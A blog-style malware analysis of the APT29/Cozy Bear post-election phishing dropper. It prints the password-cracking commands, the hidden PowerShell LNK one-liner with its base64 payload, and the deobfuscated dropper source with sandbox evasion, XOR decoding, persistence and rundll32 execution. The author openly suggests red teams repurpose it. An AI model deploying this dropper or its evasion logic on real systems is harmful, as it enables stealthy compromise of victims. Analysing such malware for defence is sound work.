Bear’s election campaign – (1/4)

In the wake of the 2016 United States Presidential Election, not even six hours after Donald Trump became the nation’s President-Elect, an advanced persistent threat (APT) group launched a series of coordinated and well-planned spear phishing campaigns. Volexity observed five different attack waves with a heavy focus on U.S.-based think tanks and non-governmental organizations (NGOs). These e-mails came from a mix of attacker created Google Gmail accounts and what appears to be compromised e-mail accounts at Harvard’s Faculty of Arts and Sciences (FAS). – Volexity (

This is part 1 of likely a multi part look at Cozy Bear and how to learn from them to make your RedCell/Penetration testing more “real world” by emulating them. To the point of re-purposing their malcode for yourself. So many pen testing teams rely heavily on the open source tools msfvenom/PowerShell empire/mimikatz, etc, but don’t go to the source and directly rip off the malware from APT’s and criminal organizations. I figure, why reinvent the wheel?

This is the one particular zip and contents that I am looking at. Screenshot via Volexity blog.

Our first hurdle is to get the payload out of the password protected zip. Usually they put the PIN in the message body of the phish email with some sort of bs info such as “use this to get your confidential document.” However, if we are pulling the malware off of a site like VirusTotal we don’t have access to that PIN/password. This is common with current ransomware phishing emails as well. I’ve never seen this payload type used, but I suspect that we will shortly. In the past both the APT’s and Ransomware pushers have been heavily reliant on scripts and macro docs to get the dropper to disk. The benefits of this sample would be that the script doesn’t have to go out and pull down malware, it is already all embedded in the one file.

Onto cracking the PIN even though Volexity lists it. We will pretend we don’t have it for the sake of the article.

Generate a PIN possibility wordlist via crunch.
root@kali:~# crunch 2 5 0123456789 > ~/Desktop/pin_combos_2_5.txt


Now that we have a sufficient pin list we move onto cracking the zip via fcrackzip in kali2.
root@kali:~/Desktop# fcrackzip -v -D -u -p pin_combos_2_5.txt '/root/Desktop/37486.ZIP'


Now we have our new PIN 6190, so lets pull out the LNK file and verify with the hex editor what is going on before digging in. Yup… Powershell referenced immediately as an argument to a LNK file.

Here’s what it looks like on the Windows side of the house. One thing should be a give away. A shorcut file that is over half a mb large. A legit shortcut is smaller than one kb.

Here’s something I can’t wrap my brain around. As of 11/11 the zip file is scoring 2/55 on VT, and the actualy payload once you pull it out… is getting ZERO detections. I am guessing that the two AV’s detecting the zip are purely going off hash values since they are relatively no name AV companies.

Summation of how this dropper gets to disk.

  • LNK file is large, pretends to point to an RTF with a bs tagline about the election
  • LNK actually points to Powershell and feeds it a base64 string to decode
  • That Powershell carves out from the big LNK file an additional base64 section at the bottom which is more Powershell
  • That script does some vm detection, looks for a typical sandbox environment, etc.
  • If it “scores” low enough an executable section of the LNK is carved out, xor decoded (key is 41), and then run via rundll32 with the argument #2
  • File is saved as a .lck in %APPDATA\Roaming\Skype\” and persistence via the registry RUN key
  • User is presented with a carved out RTF with a real article to keep them from being suspicious.

So once we have extracted the LNK file and start digging we immediately discover something clever.

This article initially is just focusing on the unique drop method, and not the Cozy Dukes backdoor.

Starting off, we right click on the LNK file and look at the “target” property which under normal circumstances would point to the RTF file it pretends to link to. What we find is the following code. Since we see the PowerShell code isn’t finished off with the ‘) we look into a hex editor and pull out the rest.

via target attribute

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noni -ep bypass -win hidden $s = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('JG9zPTB4MDAwOWZkZGE7JG9lPTB4MDAwYTE5MTY7JGY9IjM3NDg2LXRoZS1zaG9ja2luZy10cnV0aC1hYm91dC1lbGVjdGlvbi1yaWdna

via hex editor we get the whole thing…

C:\Windows\System32\WindowsPowerShell\v10\powershellexeK\\\\\\\Windows\System32\WindowsPowerShell\v10\powershellexe÷-noni -ep bypass -win hidden $s = [TextEncoding]::ASCIIGetString([Convert]::FromBase64String('JG9zPTB4MDAwOWZkZGE7JG9lPTB4MDAwYTE5MTY7JGY9IjM3NDg2LXRoZS1zaG9ja2luZy10cnV0aC1hYm91dC1lbGVjdGlvbi1yaWdnaW5nLWluLWFtZXJpY2EucnRmLmxuayI7aWYgKC1ub3QoVGVzdC1QYXRoICRmKSl7JHggPSBHZXQtQ2hpbGRJdGVtIC1QYXRoICRFbnY6dGVtcCAtRmlsdGVyICRmIC1SZWN1cnNlO1tJTy5EaXJlY3RvcnldOjpTZXRDdXJyZW50RGlyZWN0b3J5KCR4LkRpcmVjdG9yeU5hbWUpO30kaWZkID0gTmV3LU9iamVjdCBJTy5GaWxlU3RyZWFtICRmLCdPcGVuJywnUmVhZCcsJ1JlYWRXcml0ZSc7JHggPSBOZXctT2JqZWN0IGJ5dGVbXSgkb2UtJG9zKTskaWZkLlNlZWsoJG9zLFtJTy5TZWVrT3JpZ2luXTo6QmVnaW4pOyRpZmQuUmVhZCgkeCwwLCRvZS0kb3MpOyR4PVtDb252ZXJ0XTo6RnJvbUJhc2U2NENoYXJBcnJheSgkeCwwLCR4Lkxlbmd0aCk7JHM9W1RleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoJHgpO2lleCAkczs='); iex $s;

Decoded via python (base64.b64decode(‘arg’)) the base64 string decoded and formatted is as follows:

if (-not(Test-Path $f))
    $x = Get-ChildItem -Path $Env:temp -Filter $f -Recurse;

    $ifd = New-Object IO.FileStream $f,\'Open\',\'Read\',\'ReadWrite\';
    $x = New-Object byte[]($oe-$os);
    iex $s;'

The powershell script is streaming data from the lnk file to create a new object. It is reading in from $oe-$os or 0x000a1916-0x0009fdda, and then base64decoding and running it. Inside our hex we go to a1916 which is the end, and then go back to 9fdda which is the beginning of the carve.

It’s all pretty straight forward and does what I mentioned above, some sandbox/vm checks, and then carving out the malicious dropper and putting it in %APPDATA%\\Skype\\hqwhbr.lck, along with persistence. You can see where it is carving out the .lck file which is the dropper and xor decoding it with the key 41. I found the key quickly using XORsearch because I didn’t read the code first. Lazy, or efficient? Not sure… Either way, if you don’t heavily use Didier’s tools you should. All of his tools are gold, and he is one productive guy.

This script is not the creative part in this campaign, it is the method of making a LNK link to powershell and then carve out of itself which I haven’t seen. This LNK file is still getting a 0 on VT. The dropper hasn’t been uploaded to VTI yet and I wasn’t going to be the first but I would imagine it is still fairly low since the C2 and URL related commands are all encoded in the binary until run time. I’ll dig into that during a later post, but it is fairly well documented for this actor.

After decoding, and prettying up the PowerShell we get the following code. Apologies if the brackets are occasionally in the wrong place, it was kind of a mess for me with find and replace.

function pl_dropper ($ifd, $os, $len, $dpath) {
    $dpath = [Environment]::ExpandEnvironmentVariables($dpath)
    $pdir = Split-Path -Parent $dpath
    if ($pdir) {
        $b = Test-Path $pdir
    else {
        $b = $True

  if (!$b) {
         New-Item -ItemType directory -Path $pdir | out-null

    $name = Split-Path -Leaf $dpath

    $pathlist = @($dpath, "%APPDATA%\\$name", "%TEMP%\\$name")
    ForEach ($dpath in $pathlist) {

        $dpath = [Environment]::ExpandEnvironmentVariables($dpath)
        try {
            $ofd = [IO.File]::Open($dpath, [IO.FileMode]::OpenOrCreate, [IO.FileAccess]::Write);
        catch [Exception] {

        CopyFilePart $ifd $os $len $ofd


    return $dpath


function CreateFile($path, $acc)


    $MethodDefinition = @\'
    [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
    public static extern Microsoft.Win32.SafeHandles.SafeFileHandle CreateFile(
        string fileName,
        [MarshalAs(UnmanagedType.U4)] System.IO.FileAccess fileAccess,
        [MarshalAs(UnmanagedType.U4)] System.IO.FileShare fileShare,
        IntPtr securityAttributes,
        [MarshalAs(UnmanagedType.U4)] System.IO.FileMode creationDisposition,
        [MarshalAs(UnmanagedType.U4)] System.IO.FileAttributes flags,
        IntPtr template);


    $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name \'Kernel32\' -Namespace \'Win32\' -PassThru

    $handle = $Kernel32::CreateFile($path, $acc,[IO.FileShare]::ReadWrite, 0,[IO.FileMode]::OpenOrCreate,[IO.FileAttributes]::Normal,0)

    $fs = New-Object IO.FileStream($handle, $acc)
    return $fs


function xor_decode($b, $l, $k) {
    for($i = 0; $i -lt $l; $i++) {
        $b[$i] = $b[$i] -bxor $k



function CopyFilePart([IO.FileStream] $ifd, $os, $len, [IO.FileStream] $ofd)
    $tmpbuf = New-Object byte[] 8182
    $buflen = $tmpbuf.Length

    $ifd.Seek($os, [IO.SeekOrigin]::Begin) | out-null
    while ($len -gt 0) {
        $ifd.Read($tmpbuf, 0, $buflen) | out-null

      xor_decode $tmpbuf $buflen 0x41
        $ofd.Write($tmpbuf, 0, $buflen)
        $len -= $buflen
        if ($buflen -gt $len) {
            $buflen = $len


function get_susp_rating() {
    $score = 0

    $lst = gwmi -namespace root\\cimv2 -query "SELECT * FROM Win32_BIOS"
    ForEach ($x in $lst) {
        $tmp = $x.SMBIOSBIOSVersion.ToLower()
        if ($tmp.contains("virtualbox") -or $tmp.contains("vmware")) { $score += 2 }

        $tmp = $x.SerialNumber.ToLower()
        if ($tmp.contains("vmware")) { $score += 2 }

    $lst = gwmi -namespace root\\cimv2 -query "SELECT * FROM Win32_PnPEntity"
    ForEach ($x in $lst) {
        if ($x.DeviceId.contains("PCI\\VEN_80EE&DEV_CAFE")) { $score += 2}

    if ($score -gt 2) {return $score}
        $myarr = @("user", "admin", "administrator", "user1")

    $lst = gwmi -namespace root\\cimv2 -query "Select * from Win32_ComputerSystem"
    ForEach ($comp in $lst) {

if (!$comp.PartOfDomain) {
            $score += 1

        $tmp = $comp.UserName.ToLower()
        if ($tmp.contains("admin")) {
            $score += 2

        ForEach ($x in $myarr) {
            if ($tmp.contains($x)) {
                $score += 1

    if ($score -gt 2) {return $score}

    $myarr = @("procexp.exe", "taskmgr.exe", "wireshark.exe")

    $lst = gwmi -namespace root\\cimv2 -query "SELECT * FROM Win32_Process"
    ForEach ($item in $lst) {
        $tmp = $item.ExecutablePath
        if (!$tmp) { $tmp = "" }
        $tmp = $tmp.ToLower()
        ForEach ($x in $myarr) {
            if ($tmp.contains($x)) {
                $score += 3




    if ($score -gt 2) {return $score}
        $myarr = @("sample")

    $tmp = (Get-Item -Path ".\\" -Verbose).FullName
    ForEach ($x in $myarr) {
        if ($tmp.contains($x)) {
            $score += 1

    $nm = Split-Path -Leaf $x
    $l = $nm.Split(\'.\')[0].Length
    if ($l -eq 32 -or $l -eq 40 -or $l -eq 64) {
        $score += 3
    return $score;

function heat_proc() {
    $s = 0
    For ($i=1; $i -lt 53; $i++) {
        $s += ($i + ($i * $s)) % $i
    Exit 0

function detect_susp_environ() {
    $score = get_susp_rating
    if ($score -gt 3) {

$acc = [IO.FileAccess]::READ

$lnkfd = CreateFile "37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk" $acc;
$os = 0x892e0
$l = 0x9fdda - $os
$fpath = pl_dropper $lnkfd $os $l "%TEMP%\\37486-the-shocking-truth-about-election-rigging-in-america.rtf"

Invoke-Item "$fpath"
$os = 0x0dac
$l = 0x37ac - $os
$cfpath = pl_dropper $lnkfd $os $l "%APPDATA%\\Skype\\hqwhbr.lck"
$os = 0x37ac
$len = 0x892e0 - $os
$dst = ":schemas"
$ffpath = $cfpath

if ($dst[0] -ne ":") {
    $ffpath = Split-Path -Parent $ffpath
    $ffpath = "$ffpath\\"

$ffpath = "${ffpath}${dst}"
$acc = [IO.FileAccess]::Write
$fs = CreateFile $ffpath $acc
CopyFilePart $lnkfd $os $len $fs
&"rundll32.exe" "$cfpath," "#2"

Leave a Reply